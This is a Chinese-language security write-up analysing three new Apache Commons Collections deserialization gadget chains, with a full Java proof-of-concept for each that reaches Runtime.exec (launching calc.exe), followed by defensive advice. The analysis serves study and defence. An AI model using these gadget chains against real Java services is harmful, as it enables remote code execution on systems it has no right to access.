CC链之新利用链分析
字数 1681 2025-08-07 08:22:20
Apache Commons Collections 反序列化新利用链分析
0x00 前言
CC链(Apache Commons Collections Java反序列化利用链)是Java安全领域的重要研究课题。本文详细分析三种新的利用链:DualHashBidiMap、DualTreeBidiMap和DualLinkedHashBidiMap,这些利用链为CC链家族提供了新的攻击向量。
0x01 DualHashBidiMap利用链分析
利用原理
DualHashBidiMap利用链的核心在于其readObject方法中调用了putAll方法,而该方法会触发HashMap的containsKey方法,进而调用key.hashCode()。
关键调用链
DualHashBidiMap.readObject()
-> AbstractDualBidiMap.putAll()
-> AbstractDualBidiMap.put()
-> HashMap.containsKey()
-> TiedMapEntry.hashCode()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
POC构造
import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class DualHashBidiMapExploit {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 构造LazyMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "111");
// 构造恶意Map
Map<String, Object> expMap = new HashMap<String, Object>();
expMap.put("222", tiedMapEntry);
// 通过反射实例化DualHashBidiMap
Class clazz = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor constructor = clazz.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
constructor.setAccessible(true);
Object dualHashBidiMap = constructor.newInstance(expMap, null, null);
// 序列化与反序列化触发
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualHashBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
关键点分析
- 序列化过程:
DualHashBidiMap.writeObject()方法会将this.maps[0]序列化 - 反序列化过程:
readObject()方法会调用putAll(this.maps[0]) - 利用链触发:
putAll()会遍历map元素并调用put(),最终触发TiedMapEntry.hashCode()
0x02 DualTreeBidiMap利用链分析
利用原理
DualTreeBidiMap利用链依赖于TreeMap的put方法中会调用comparator.compare()的特性。通过控制comparator为TransformingComparator对象实现命令执行。
版本限制
此利用链仅适用于Commons Collections 4.0版本,因为:
TransformingComparator类在4.0版本才实现Serializable接口- 4.0版本中
LazyMap的实例化方式有变化
关键调用链
DualTreeBidiMap.readObject()
-> AbstractDualBidiMap.putAll()
-> AbstractDualBidiMap.put()
-> TreeMap.put()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
POC构造
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.bidimap.DualTreeBidiMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import java.io.*;
import java.lang.reflect.Field;
public class DualTreeBidiMapExploit {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
// 初始化为无害Transformer避免提前触发
Transformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
// 实例化DualTreeBidiMap并注入恶意comparator
DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(comparator, comparator);
dualTreeBidiMap.put("demo", "demo");
// 通过反射替换真正的恶意Transformer链
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
// 序列化与反序列化触发
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualTreeBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
关键点分析
- comparator控制:通过构造方法传入
keyComparator控制TreeMap的比较器 - 延迟触发技巧:先使用无害Transformer构造,序列化前通过反射替换为恶意Transformer
- 必须添加元素:
putAll()需要map中有元素才会进入循环调用put()
0x03 DualLinkedHashBidiMap利用链分析
利用原理
DualLinkedHashBidiMap是Commons Collections 4.0新增的类,其利用方式与DualHashBidiMap类似,通过HashMap的containsKey触发。
关键调用链
DualLinkedHashBidiMap.readObject()
-> AbstractDualBidiMap.putAll()
-> AbstractDualBidiMap.put()
-> HashMap.containsKey()
-> TiedMapEntry.hashCode()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
POC构造
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.bidimap.DualLinkedHashBidiMap;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class DualLinkedHashBidiMapExploit {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 构造LazyMap(4.0版本方式)
Map innerMap = new HashMap();
LazyMap lazyMap = LazyMap.lazyMap(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
// 构造恶意Map
Map expMap = new HashMap();
expMap.put("222", tiedMapEntry);
// 实例化并注入恶意normalMap
DualLinkedHashBidiMap dualLinkedHashBidiMap = new DualLinkedHashBidiMap();
Field field1 = dualLinkedHashBidiMap.getClass().getSuperclass()
.getDeclaredField("normalMap");
field1.setAccessible(true);
field1.set(dualLinkedHashBidiMap, expMap);
// 序列化与反序列化触发
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualLinkedHashBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
关键点分析
- LazyMap变化:4.0版本中
LazyMap不再通过decorate方法创建,而是使用静态方法lazyMap - 反射注入:需要通过反射设置
normalMap字段为恶意Map - 利用链本质:与DualHashBidiMap类似,都是通过HashMap的
containsKey触发
0x04 防御建议
-
升级Commons Collections:
- 升级到3.2.2或更高版本(3.x系列)
- 升级到4.1或更高版本(4.x系列)
-
JVM层防护:
- 使用JDK自带的安全管理器
- 配置
SerializationFilter过滤危险类
-
代码层面:
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false"); -
反序列化防护:
- 使用白名单机制限制可反序列化的类
- 使用安全的反序列化库如Jackson、Gson等替代Java原生序列化
0x05 总结
本文详细分析了三种新的CC链利用方式:
- DualHashBidiMap:通过HashMap的
containsKey触发,适用于3.x版本 - DualTreeBidiMap:通过TreeMap的comparator触发,仅适用于4.0版本
- DualLinkedHashBidiMap:4.0新增类,利用方式类似DualHashBidiMap
这些利用链再次证明了反序列化漏洞的多样性和危险性,安全防护需要从多个层面进行综合考虑。